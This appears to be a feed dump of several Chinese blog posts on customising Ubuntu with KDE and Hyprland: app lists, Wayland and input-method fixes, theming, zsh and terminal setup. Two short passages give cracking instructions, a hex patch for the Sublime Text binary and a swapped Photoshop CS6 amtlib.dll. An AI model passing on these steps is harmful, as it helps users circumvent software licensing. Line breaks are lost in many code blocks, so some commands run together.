cat /usr/share/applications/google-chrome.desktop|grep Exec                                             Exec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/google-chrome-stable --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime
  • Chromium
cat /usr/share/applications/chromium-linux.desktop |grep ExecExec=/usr/bin/chromium-linux --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %U
  • Microsoft Edge
cat /usr/share/applications/microsoft-edge.desktop| grep Exec                                           Exec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/microsoft-edge-stable --inprivate --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime
  • Yandex Browser
cat /usr/share/applications/yandex-browser.desktop| grep Exec                                     Exec=/usr/bin/yandex-browser-beta --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/yandex-browser-beta --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/yandex-browser-beta --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime
  • Vivaldi Browser
cat /usr/share/applications/vivaldi-stable.desktop| grep Exec                                           Exec=/usr/bin/vivaldi-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/vivaldi-stable --new-window --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/vivaldi-stable --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime

办公社交

应用概览

软件名称下载安装方式说明
QQ官网下载腾讯 QQ 的 Linux 版本做的真不错
微信星火商店腾讯微信现在也开始有 Linux 版本了
飞书星火商店字节出品必属精品,Wayland 协议下工作很棒
钉钉星火商店不得不说,钉钉的市场占有率也挺高的
腾讯会议星火商店办公软件,可以不用,但不能没有
TelegramDiscover 商店暗网威胁情报监控必备

体验优化

  • 微信

如果你的屏幕分辨率很高的话,那么这个 Linux 微信的界面就有一点点小了,我们需要手动添加节目缩放变量来优化使用体验,下面表示应用界面缩放 1.5 倍:

QT_SCALE_FACTOR=1.5

而且发现 Fcitx5 的中文输入也不正常,所以需要我们手动编辑一下微信的启动图标属性:

sudo vim ~/.local/share/applications/store.spark-app.wechat-linux-spark.desktop

修改后的内容如下:

Exec=env QT_SCALE_FACTOR=1.5 GTK_IM_MODULE="fcitx" QT_IM_MODULE="fcitx" SDL_IM_MODULE="fcitx" /opt/apps/store.spark-app.wechat-linux-spark/files/launch.sh

这样我们的微信使用体验基本上和 Windows 下是没有什么区别的了。

  • 腾讯会议

Wayland 协议下腾讯会议居然不让打开,直接弹窗告警了:

编辑腾讯会议的启动脚本:

sudo vim /opt/wemeet/wemeetapp.sh

手动找到判断 wayland 协议的判断语句,在其上面添加如下内容来让应用强制走 X11 显示协议:

export XDG_SESSION_TYPE=x11export QT_QPA_PLATFORM=xcbunset WAYLAND_DISPLAY

同理,高分辨率屏幕下的腾讯会议也比较小且不支持中文输入,我们手动调整一下缩放比例,添加如下的环境变量:

QT_SCALE_FACTOR=1.5 GTK_IM_MODULE=fcitx QT_IM_MODULE=fcitx SDL_IM_MODULE=fcitx

但是由于 X11 工作环境下 Wayland 安全性问题,目前腾讯视频是没法读取共享屏幕的,所以真的要用腾讯视频分享屏幕的话,还是老老实实使用虚拟机,或者尝试用用非常强大的飞书吧!

文档办公

应用概览

软件名称下载安装方式说明
Typora官网下载Typora 是国光我用来写 MarkDown 的主力
WPS Office星火商店WPS Office Linux 下挺干净流畅的

体验优化

  • Typora

前面已经提到过了,Typora 在 Wayland 下中文输入也有问题,我们手动添加下面的环境变量即可:

GTK_IM_MODULE=fcitx SDL_IM_MODULE=fcitx QT_IM_MODULE=fcitx
  • WPS Office

WPS Office 提示缺失了一些字体:

字体我们可以去这个项目下载:https://github.com/dv-anomaly/ttf-wps-fonts 然后找到这些 ttf 字体,手动右键点击【安装】即可。

同样 WPS 中文输入也有问题,我们手动添加下面的环境变量即可:

GTK_IM_MODULE=fcitx QT_IM_MODULE=fcitx SDL_IM_MODULE=fcitx

生产效率

应用概览

软件名称下载安装方式说明
PlanifyFlathub简约高颜值的 todolist
Super Productivity官方项目类似于 Windows To Do

代码开发

应用概览

软件名称下载安装方式说明
Visual Studio Code官网下载可能是目前最强的代码编辑器了
Sublime Text官网下载轻量化的代码编辑器
PyCharm官网下载这才是真正的编译器
IDEA官网下载这才是真正的编译器
Navicat Premium Lite官网下载Nvicat 官方出的免费版本的 足够用了
Tiny RDM官网下载开源高颜值的 Redis 客户端

体验优化

  • Visual Studio Code

Visual Studio Code 中文输入有问题,我们手动添加下面的环境变量即可:

GTK_IM_MODULE=fcitx SDL_IM_MODULE=fcitx QT_IM_MODULE=fcitx
  • Sublime Text

默认的 Sublime Text 4180 是试用版本,我们可以简单的来进行破解一下。定位到可执行文件的路径为:

/opt/sublime_text/sublime_text

使用在线网站,https://hexed.it 点击打开文件,选择上一步的 sublime_text 执行文件,在搜索栏输入

80 79 05 00 0F 94 C2

替换为:

C6 41 05 01 B2 00 90

重新导出替换原有的 sublime_text 即可破解成功:

下面附上此次 Sublime Text 4180 版本的破解后的文件:sublime_text

如果你在 KDE5 下使用全局菜单插件使用 Sublime Text 这种应用的话,标题是正常无法显示的,这是因为工作在 Wayland 协议下的问题,目前 KDE5 版本中这个 BUG 估计是不会修复了,所以我们可以手动指定 x11 的环境变量:

GDK_BACKEND=x11 GTK_IM_MODULE=fcitx SDL_IM_MODULE=fcitx QT_IM_MODULE=fcitx

同时记得关闭 sublime 的自动更新:

虚拟远程

应用概览

软件名称下载安装方式说明
KRDCKDE 自带KDE 自带的 RDP 远程客户端,但需要自己动手优化一下
Remmina官网安装Remmina 目前算是 Linux 远程工具第一梯队了
VirtualBox官网安装Linux 平台上开源免费的虚拟机方案
Docker Desktop官网安装图形化 Docker 容器管理
Terminus官网下载一个颜值很高的远程工具
MobaXterm(Wine)星火商店Windows 下好用的远程工具
Tabby星火商店开源高颜值的终端

体验优化

  • KRDC

默认在 Wayland 显示协议下,KRDC 还无法正常工作,最新版本的 KRDC 可能已经解决这个问题了,但是我们的 Kubuntu 24.04 的 KDE5 的版本的 KRDC 版本太老:

但是我们可以编辑应用程序,强制让 KRDC 走 X11 协议来工作:

XDG_SESSION_TYPE=x11 QT_QPA_PLATFORM=xcb

这样 KRDC 就可以正常工作了:

  • Remmina

Ubuntu 24.04 自带的 Remmina 版本不是很新,所以打开后发现界面还不是中文的,可以根据官方文档手动添加 ppa 源,安装最新版本的 Remmina,这样界面就变成中文的了:

sudo apt-add-repository ppa:remmina-ppa-team/remmina-nextsudo apt updatesudo apt install remmina remmina-plugin-rdp remmina-plugin-secret

媒体设计

应用概览

软件名称下载安装方式说明
ImageMagickDiscover 商店ImageMagick 是 Linux 上经典的图像处理工具
Gimp星火商店GIMP 是一款强大的图像处理软件
Adobe PhotoShop CS6星火商店虽然这个 PhotoShop 有点老,但又不是不能用
Image ViewerDiscover 商店支持直接查看和导出 macOS 的 ICNS 格式图标

体验优化

  • 激活 PhotoShop
  1. 备份好默认的 amtlib.dll 文件,路径为 ~/.deepinwine/Deepin-CS6/drive_c/Program Files/Adobe/Adobe Photoshop CS6/amtlib.dll
  2. 下载带注册信息的 amtlib.dll 文件替换到上面的目录下即完成破解激活

影音娱乐

应用概览

软件名称下载安装方式说明
Steam星火商店Steam 里面的 Linux 游戏还是不少的
网易云音乐星火商店星火商店的版本安装比较省心,但每日推荐这些功能不正常
YesPlayMusic官方项目高颜值的第三方网易云播放器
PotPlayer星火商店Windows 平台下移植过来的优秀的视频播放器
VLC 媒体播放器apt install vlc老牌开源的媒体播放器
MPV 媒体播放器apt install mpvLinux 下简约且强大的媒体播放器
OBS Studioapt install obs-studio 非常强大的直播以及录制视频的专业软件

体验优化

  • 网易云音乐image-20241011163009383

如果你的屏幕分辨率很高的话,那么这个 Linux 上的网易云音乐界面就有一点点小了,我们需要手动添加节目缩放变量来优化使用体验,下面表示应用界面缩放 1.5 倍:

QT_SCALE_FACTOR=1.5

找到应用程序菜单,编辑网易云音乐的应用程序,手动添加上面的环境变量即可。

因为网易云官方不维护的原因,这个官方客户端理论上是没法正常密码登陆账号的,但是支持扫码登陆,除了个性推荐不能正常使用以外,其他功能貌似也都支持工作:

]]>
<p>别再羡慕人家 macOS 精美的界面了,Linux 同样也可以做到这么精致丝滑的交互体验,还在等什么!?赶紧让 Linux 作为你的主力系统吧~</p>
国光的 Ubuntu KDE Wayland 桌面美化记录(弃坑!) https://www.sqlsec.com/2024/09/kde.html 2024-09-27T01:27:03.000Z 2024-10-10T15:58:14.000Z

Hyprland 深度使用了很长时间,虽然特效操作很酷,但是有点过于激进了,好多适配度也跟不上,所以还是想安装其他的桌面再对比体验看看。

自带的 GNOME 桌面我一直保留,虽然简洁开箱即用,但是可定制性还是弱了一点,所以打算尝试一下大名鼎鼎的 KDE 桌面,我倒要看看 KDE 桌面有多么的厉害!

写在前面

本文只是重点是美化和一些零散的记录,关于 Ubuntu Linux 下的生态大家可以看我之前一篇文章:国光的 Ubuntu Hyprland 桌面优化记录,这两篇文章大家可以结合着一起看,一定对你的 Linux 优化配置提供一定的帮助。

基本使用

KDE 安装

KDE 分为完整版、标准版和精简版,由于国光我把 Linux 的硬盘划分的很大,所以直接一步到位安装一个 KDE 的完整版本,包括所有的 KDE 应用程序和工具:

sudo apt updatesudo apt upgradesudo apt install kde-full

输入法配置

由于我们之前已经安装过 Fctix 输入法了,我们可以在 KDE 的设置里面直接启用:

重启后即可正常使用 Fctix 输入法,我的配置如下:

Waybar 解决

因为我们使用的是 KDE 的 Wayland 模式,所以之前在 Hyprland 桌面下配置的 Waybar 依然会开机自启来工作,那么就会像下面这样:

解决方法也很简单,我们直接备份一下 Waybar 的开启自己服务即可:

sudo mv /usr/lib/systemd/user/waybar.service /usr/lib/systemd/user/waybar.service.bak 

这样我们的 KDE 桌面基本上就属于正常水平了,美化折腾之路才刚刚开始:

恢复通知

由于之前安装配置过 SwayNotificationCenter 的通知插件了,导致 KDE 自带的通知无法正常工作,所以需要卸载掉之前配置的插件:

sudo apt remove sway-notification-center

这样我们的 KDE 通知可以正常工作了:

测试以下

快捷键

KDE 也自带来很多高效的快捷键,下面记录分享一下国光我常用的键盘快捷键:

快捷键说明
Super打开应用程序菜单栏
F11应用全屏
Super + W 或者 鼠标左上角触发角打开所有工作区视图
Super + E打开文件管理器
Super + L锁屏
Ctrl + Alt + Del打开提出菜单
Super + D 或者 Ctrl + F12显示桌面
Alt + Tab切换下一个窗口
Alt + Shift + Tab切换上一个窗口
Ctrl + Super + 左右方向键左右切换工作区
Alt + Space打开 KRunner
Ctrl + Alt + T打开默认终端
Super + 方向键上下左右移动窗口
Alt + F4关闭当前窗口
Super + Pgupllll最大化窗口
Super + Pgdn最小化窗口
Super + 加号局部画面放大
Super + 减号局部画面缩小
PrtSc调用 Spectacle 全屏截图

作为笔记本用户,触控板手势也是必不可少,下面是 KDE6 的触控板基本手势:

触控板手势说明
双指轻点右键
双指滚动页面上下滚动
三指左右滚动切换工作区
四指左右滚动切换工作区
四指上滑打开所有工作区视图 一阶段
四指上滑再上滑打开所有工作区视图 二阶段
四指上滑打开所有工作区视图 二阶段

生产配置

截图

Snipaste 在 KDE 下的工作很丝滑,和 Windows 以及 macOS 平台下的流畅度都差不多,强烈建议大家试试看,唯一要注意的就是这个截图软件自带的快捷键很多和 KDE 桌面的快捷键冲突了,所以需要自己设置来避开:

游戏

Ubuntu 自带的应用中心可以很轻松的安装上 Steam:

Steam 在 Linux 下的游戏也挺多,比如地平线5、尘埃 拉力赛、荒野大镖客 2 都可以直接在 Linux 平台上运行:

VPN

KDE 一般是自带 OpenVPN 的,如果没有安装可以使用下面命令安装一下:

sudo apt install openvpn

可以通过 KDE 的网络设置里面自行添加 OpenVPN 的连接:

如果有 OpenVPN 配置文件的话,直接导入 OpenVPN 配置文件即可直接添加一个 VPN 连接:

浏览器

自带的 FireFox 火狐浏览器在 KDE 的 Wayland 模式下工作很完美,支持双指捏合也支持中文输入法,但是 Chrome 和 Edge 还是需要我们配置一下的。

  • Google Chrome
cat /usr/share/applications/google-chrome.desktop|grep Exec                                             Exec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/google-chrome-stable --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime
  • Microsoft Edge
cat /usr/share/applications/microsoft-edge.desktop| grep Exec                                           Exec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/microsoft-edge-stable --inprivate --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime
  • Yandex Browser

Yandex Browser 是我喜欢的一个浏览器,是毛子那边出品的,整体颜值细节都挺棒的。

cat /usr/share/applications/yandex-browser-beta.desktop| grep Exec                                     Exec=/usr/bin/yandex-browser-beta --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/yandex-browser-beta --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/yandex-browser-beta --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime
  • Vivaldi Browser

Vivaldi Browser 也是一个我喜欢的浏览器,挺有自己的个性的,值得在 Linux 平台上试试看。

cat /usr/share/applications/vivaldi-stable.desktop| grep Exec                                           Exec=/usr/bin/vivaldi-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/vivaldi-stable --new-window --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/vivaldi-stable --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime
  • 网页视频解码

Yandex 浏览器播放 B 站提示需要安装解码相关的组件,根据提示我们直接安装以下:

sudo apt install libgstreamer1.0-0 gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-plugins-bad gstreamer1.0-libav

这样就可以丝滑的使用各种浏览器播放网页 4k 视频了:

主题设置

本次主题使用 Github 上一个高 star 的项目来实现:https://github.com/vinceliuice/WhiteSur-kde

git clone https://github.com/vinceliuice/WhiteSur-kdecd WhiteSur-kde./install.sh 

之后我们就可以在设置的全局主题里面启用我们刚刚安装好的主题了:

其实主题这些就放在:~/.local/share/plasma/look-and-feel 文件夹下。

图标主题

本次图标主题借助的是 https://github.com/vinceliuice/WhiteSur-icon-theme 项目

git clone https://github.com/vinceliuice/WhiteSur-icon-themecd WhiteSur-icon-theme./install.sh 

配置完成后在设置里面启用这个图标,重启一下电脑,最后整体的效果已经很接近 macOS 了:

特效配置

下面是国光的一些特效配置效果:

主要细节如下:

  • 设置 - 颜色和主题 - 全局主题 -【WhiteSur-dark】
  • 设置 - 颜色和主题 - 颜色 -【Aritim-Dark
  • 设置 - 颜色和主题 - Plasma 外观样式 -【WhiteSue 暗黑苹果】
  • 设置 - 颜色和主题 - 窗口装饰元素 - 【MoeDark
  • 设置 - 窗口管理 - 桌面特效 - 【根据自己喜好来 性能足够开的越多越酷】

下面主要单独说下 KDE6 配置毛玻璃的关键配置要来出来提一下:

  • 设置 - 窗口管理 - 桌面特效 - 窗口透明度 - 配置

]]>
<p>Hyprland 深度使用了很长时间,虽然特效操作很酷,但是有点过于激进了,好多适配度也跟不上,所以还是想安装其他的桌面再对比体验看看。</p> <p>自带的 GNOME 桌面我一直保留,虽然简洁开箱即用,但是可定制性还是弱了一点,所以打算尝试一下大名鼎鼎的 KDE 桌面,我倒要看看 KDE 桌面有多么的厉害!</p>
国光的 Ubuntu Hyprland 桌面优化记录(弃坑!) https://www.sqlsec.com/2024/09/hyprland.html 2024-09-10T01:27:03.000Z 2024-10-10T15:57:58.000Z

你是否羡慕人家 Arch Linux 那酷炫的平铺式桌面,现在不必再自卑了,使用目前最新的 Ubuntu 也是可以做到通用酷炫的效果。那么准备好电脑,跟着本文开始行动起来吧!

前言概要

硬件介绍

最近家电下乡各种优惠补贴很多,国光我也忍不住剁手下单了一台性价比很高的笔记本,机械革命无界15X 暴风雪版本,默认是 32 + 1TB 的配置,我也自行升级了一下,目前详细的配置如下:

组件型号
CPUAMD Ryzen™ 7 8845HS 8大核16线程 最大睿频 5.1Ghz
GPUAMD Radeon™ 780M(GTX 1060级别)
电池99Wh 超大电池
内存48GB 双 24GB DDR5 5600Mhz
SSD1出厂自带的英睿达 P3 Plus PCIe4.0 1TB
SSD2西数 SN770 PCIe 4.0 2TB
屏幕15.3 寸 16:10 比例 2560x1600分辨率 120Hz 400nits IPS
网卡Intel WiFi6 AX200 160Mhz + 裕太微千兆有线网卡 YT6801

系统简介

Ubuntu 是一个非常老牌经典的 Linux 发行版,Ubuntu 对 Linux 初学者非常友好,同时稳定性也很棒,受众广泛,相关资料众多,由于打算体验最新的 Hyprland 桌面,所以本次就使用了最新的 Ubuntu 24.10 每日更新版本,虽然听上去好像不是很稳定,但是退一步说,它就算再不稳定也是 Ubuntu,和 Arch Linux 那种滚动式更新比起来,还是小巫见大巫了。

磁盘划分

由于我这个笔记本硬盘充实,所以这里选择的双系统方案,腾出了接近 1TB 的空间来单独安装 Ubuntu:

给这么大的空间可以看出这次我不是只想玩玩而已,是真的想把这台 Ubuntu 变成生产力操作系统的。

因为 Ubuntu 安装引导已经很人性化,所以这里国光我不打算写双系统安装过程了,后面直接讲解一些关键的操作。

默认桌面

触控手势

Ubuntu 24.10 默认使用的是 GNOME 桌面,非常经典简约同时对触控板手势操作也非常友好。所以还是很有必要介绍一下默认的 GNOME 触控板手势的.

手势说明
双指捏合图片、网页等放大缩
双指滚动模拟鼠标滚轮上下滚动
三指左右移动工作区左右切换
三指上移调出工作区视图
三指上移再上移打开应用中心控制台
三指上移再上移然后下移回到工作区视图
三指上移再上移然后下移再下移回到桌面视图

更新服务

最新的 Ubuntu 还处于测试版本,所以大多数的源速度都不是很快,这个时候需要我们手动去打开「软件和更新」,然后手动点击「选择最佳服务器」:

网卡驱动

默认情况下 Ubuntu 是我这个笔记本的以太网卡驱动的,好在官网提供了驱动的下载链接:

以太网网卡芯片-裕太微电子股份有限公司

驱动安装很简单,安装好编译驱动的依赖,然后直接执行脚本就行了:

sudo apt udpatesudo apt install makesudo apt install gcc-13./yt_nic_install.sh

Hyprland 安装

基础安装

本次使用的 https://github.com/JaKooLit/Ubuntu-Hyprland 项目来辅助我们一键安装,安装前先把基础的工具安装好:

# 将系统所有包更新到最新sudo apt update & sudo apt upgrade# 安装基础工具sudo apt install git curl wget vim -y

代理工具(建议)

考虑到网络问题,可以先局域网找个可以出网的代理,然后借助 proxychains4 工具来让项目走代理

# 安装代理工具 proxychains4sudo apt install proxychains4# 编辑配置代理sudo vim /etc/proxychains4.conf

最后解决好代理问题后就可以正常走我们的安装流程了:

# bash 全局走代理proxychains4 bash# 下载并执行安装脚本git clone --depth=1 -b 24.10 https://github.com/JaKooLit/Ubuntu-Hyprland.git ~/Ubuntu-Hyprland-24.10cd ~/Ubuntu-Hyprland-24.10chmod +x install.sh./install.sh

注意:执行脚本不需要使用 sudo 或者 root 权限用户来执行,直接普通用户直接执行即可。

下面是我执行脚本的一些选项,大家仅供参考:

# 我的电脑没有 N 卡Do you have any nvidia gpu in your system?  n# 建议安装这个 GTK 主题Install GTK themes (required for Dark/Light function)? y# 建议配置蓝牙Do you want to configure Bluetooth? y# 建议安装 Thunar 文件管理器Do you want to install Thunar file manager? y# 不安装 SDDM,使用 GNOME 默认的 GDM 即可Install & configure SDDM log-in Manager plus (OPTIONAL) SDDM Theme? n# 建议安装桌面共享功能Install XDG-DESKTOP-PORTAL-HYPRLAND? (For proper Screen Share ie OBS) y# 建议安装 zsh shell 并配置 oh-my-zsh 美化主题Install zsh & oh-my-zsh plus (OPTIONAL) pokemon-colorscripts for tty? y# 建议安装 nwg-look 美化应用Install nwg-look? (a GTK Theming app - lxappearance-like) WARN! This Package Takes long time to build! y# 我不是华硕笔记本Installing on Asus ROG Laptops? n# 建议下载并安装预先配置的 Hyprland-dotfilesDo you want to download and install pre-configured Hyprland-dotfiles? y

当然我们使用 proxychains4 代理安装脚本的时候,有时候还需要从拉取 go 的相关模块,也会卡主很久,所以这个时候终止脚本,重新配置一下 golang 的国内镜像源:

# 启用 Go Modules 功能go env -w GO111MODULE=on# 配置 GOPROXY 环境变量,以下三选一# 1. 七牛 CDNgo env -w  GOPROXY=https://goproxy.cn,direct# 2. 阿里云go env -w GOPROXY=https://mirrors.aliyun.com/goproxy/,direct# 3. 官方go env -w  GOPROXY=https://goproxy.io,direct

这个时候再重新挂代理执行脚本,走一下安装流程,安安静静等待执行完成即可:

./install.sh

Clash 客户端 (建议)

我们还可以使用 Clash 客户端来访问谷歌等国外资产,本次使用的是 Github 上面比较高 star 的项目:

https://github.com/clash-verge-rev/clash-verge-rev

后面安装 Hyprland 的时候建议打开 Clash 的 Tun 模式,这样代理更简单透彻一点:

快照备份

建议安装配置 Timeshift 创建个快照,方便我们后面配置乱了可以恢复回去,安装很简单:

sudo apt updatesudo apt install timeshift

然后创建一个快照即可:

配置 SSH

# 安装 SSH Serversudo apt install openssh-server# 开机自动启动ssh命令sudo systemctl enable ssh# 关闭ssh开机自动启动命令sudo systemctl disable ssh

基本使用

显示器配置

首先查看以下我们的显示器名称:

# 列出所有显示器hyprctl monitors allMonitor eDP-1 (ID 0):[email protected] at 0x0.....

然后根据实际的使用情况,编辑我们的显示器配置:

vim ~/.config/hypr/UserConfigs/Monitors.conf

主要的配置内容如下:

# Monitors,分别表示 显示器名称 分辨率刷新率 起始位置 缩放monitor=eDP-1,2560x1600@120,0x0,1.6

如果将 DP-1 放在 DP-2 的左侧,则这样配置:

monitor = DP-1, 1920x1080, 0x0, 1monitor = DP-2, 1920x1080, 1920x0, 1

基础快捷键

快捷键说明
Esc关闭当前 App
Super + 回车打开 Kitty 终端
Super + H打开快捷键帮助页面
Super + Q关闭活跃的窗口
Super + Shift + QKill 掉活跃的窗口
Super + A打开所有桌面预览试图
Super + D打开 App 启动器
Super + T打开 Thunar 文件管理器
Super + S打开 Google 搜索
Super + W选择壁纸
Super + Shift + W设置壁纸效果
Ctrl + Alt + W随即更换壁纸
Super + Alt + B更换 Waybar 布局
Super + Ctrl + B更换 Waybar 样式
Super + Shift + N打开通知中心
Super + PrtSc全屏截图到剪贴板
Super + Shift + S选择区域截图(swappy)
Alt + PrtSc截取活动窗口
Ctrl + Alt + P打开电源窗口(wlogout)
Ctrl + Alt + L锁屏
Ctrl + Alt + Del注销退出 Hyprland
Super + F应用全屏 = F11
Super + Alt + L切换 Dwindle 和 Master 的 Hyprland 布局
Super + Shift + F将当前窗口置于最上层浮动展示
Super + Alt + F将当前窗口置于最底层浮动展示
Super + Shift + B切换毛玻璃模糊度
Super + Shift + G打开或者关闭所有动画特效
Super + Alt + E打开 rofi 表情包
Super + Alt + V剪贴板管理
Super + E编辑桌面整体布局配置
Super + Shift + 数字将当前窗口移动到对应的工作区

Hyprland 配置

zsh 优化

默认配置

这个 oh my zsh 的默认配置如下:

cat ~/.zshrcexport ZSH="$HOME/.oh-my-zsh"ZSH_THEME="xiong-chiamiov-plus"plugins=(     git    zsh-autosuggestions    zsh-syntax-highlighting)source $ZSH/oh-my-zsh.sh# Display Pokemon-colorscripts# Project page: https://gitlab.com/phoneybadger/pokemon-colorscripts#on-other-distros-and-macospokemon-colorscripts --no-title -s -r

autojump 插件

安装快捷目录跳转插件:

sudo apt install autojump 

~/.zshrc 中配置:

plugins=(     git    autojump     zsh-autosuggestions    zsh-syntax-highlighting)

其他功能配置

~/.zshrc 中添加配置:

# 关掉 URL 反斜杠转义DISABLE_MAGIC_FUNCTIONS=true# 禁用 on my zsh 自动更新zstyle ':omz:update' mode disabled

powerlevel10k 主题

字体安装(推荐)

官网建议安装他们的字体,这个看自己的喜好吧,国光我觉得只要不是太丑的字体都不错的。

下载并安装以下官方推荐的四个 ttf 文件:

MesloLGS NF Regular.ttfMesloLGS NF Bold.ttfMesloLGS NF Italic.ttfMesloLGS NF Bold Italic.ttf

下载安装主题

首先将主题 git clone 到我们的主题目录下:

git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k

~/.zshrc 中配置启用新的主题:

ZSH_THEME="powerlevel10k/powerlevel10k"

主题配置向导

重载 zsh 终端会自动进入 powerlevel10k 主题的配置向导:

zsh

根据向导的提示回答 y 或者 n 即可,下面是向导问的几个问题:

# 这看起来像菱形吗?Does this look like a diamond (rotated square)?# 这看起来像一个锁吗?Does this look like a lock?# 这看起来像一个向上的箭头吗?Does this look like an upwards arrow?# 这些图标都正常显示放在 x 之间,没有重叠吗?Do all these icons fit between the crosses?

问完问题后选择终端前面的提示样式,国光我这里肯定选择了最酷炫的 Rainbow 样式:

编码这块推荐使用更标准先进的 Unicode 编码:

其他的设置细节根据大家自己的喜好来就行,国光我就不一一列举了:

如果期间又不小心配置错误的话,可以运行:

p10k configure

重新走一步配置向导。

解决告警问题

配置完主题后重新加载 zsh 会发现有告警信息:

发现原来是我们这一步配置有问题:

我们手动编辑 .p10k.zsh 配置文件:

root 使用 zsh

细心的小伙伴肯定会发现我们切换到 root 发现依然是 bash shell,这对于强迫症来说就有点难受了:

首先手动在 root 用户下将 zsh 设置为默认的 shell:

chsh --shell /bin/zsh

接着切换到普通用户,使用软连接,链接 我们普通用户 home下的的 zsh 配置:

sudo ln -s $HOME/.oh-my-zsh           /root/.oh-my-zshsudo ln -s $HOME/.zshrc               /root/.zshrc

基本上没问题了,但是依然提示了一些警告信息:

~/.zshrc 中添加配置即可关闭告警:

ZSH_DISABLE_COMPFIX=true

这样我们的 root 用户也可以丝滑的使用 zsh 啦:

Kitty 终端配置

字体配置

为了下面的 fastfetch 各个图标都正常显示,我们这里建议先提前把 Kitty 配置好字体。

带图标字体下载地址:Nerd Fonts - Iconic font aggregator, glyphs/icons collection, & fonts patcher

以上面的 0xProtoNerdFont 字体为例,下载安装好之后,我们编辑 kitty 配置文件来启用这个字体:

vim /home/x-x/.config/kitty/kitty.conf

这类也可以自定义字体大小等配置:

基本使用

这套主题默认的 Kitty 的外观快捷键配置如下:

快捷键说明
Ctrl + Shift + T新建标签页
Ctrl + Shift + N新建窗口
Ctrl + Shift + 左右方向键切换标签页
Ctrl + Shift + Tab切换标签页
Ctrl + Tab切换标签页
Ctrl + Shift + Alt + T设置标签页标题
Ctrl + Shift + 回车分屏
Ctrl + Shift + Q退出标签页
Ctrl + Shift + W退出分屏
Ctrl + Shift + +字体放大
Ctrl + Shift + -字体缩小
Ctrl + Shift + F11切换到全屏

日常工作操作的快捷键如下:

快捷键说明
Ctrl + Shift + C复制
Ctrl + Shift + V粘贴
Ctrl + Shift + Esc打开小猫 shell
Ctrl + Shift + Pgup/Pgdn上下滚动翻页
Ctrl + Shift + K/上方向键向上滚动
Ctrl + Shift + J/下方向键向下滚动
Ctrl + Shift + Home滚动到顶部
Ctrl + Shift + End滚动到底部
Ctrl + Shift + Z滚动到上一个命令
Ctrl + Shift + X滚动到下一个命令

我的配置

编辑 kitty 的配置文件:

vim ~/.config/kitty/kitty.conf

我主要修改的配置如下:

# 配置更大的回滚历史记录scrollback_lines 20000

fastfetch 配置

安装更新版本

因为 neofetch 官方停止维护了,大家也慢慢的转到了 fastfetch 平台,所以我们安装一下:

sudo apt install fastfetch

官方默认的样式如下,感觉效果还是差点意思呀:

备份原有配置

官方默认有 3 个 fastfetch 配置:

使用 fastfetch –config 即可查看各个配置情况:

fastfetch --config .config/fastfetch/config.jsonc fastfetch --config .config/fastfetch/config-v2.jsonc fastfetch --config .config/fastfetch/config-compact.jsonc

我们先把原来的配置文件夹都备份一下:

mv ~/.config/fastfetch ~/.config/fastfetch.bak

导入新的配置

为了方便大家使用,国光我单独搞了项目分享我的配置,方便大家去使用:

sqlsec/fastfetch: Awesome fastfetch terminal with pokemon 酷炫的 fastfetch (github.com)

使用也很简单:

# 进入 .config 目录cd $HOME/.config# 下载并解压然后删除wget https://github.com/sqlsec/fastfetch/releases/download/v0.1/fastfetch-for-Linux.zipunzip fastfetch-for-Linux.zip && rm fastfetch-for-Linux.zip

不同的 .jsonc 就是不同的预设方案,如果启用的话,将其重命名为 config.jsonc 即可切换为默认的预设方案:

触控板配置

基础配置

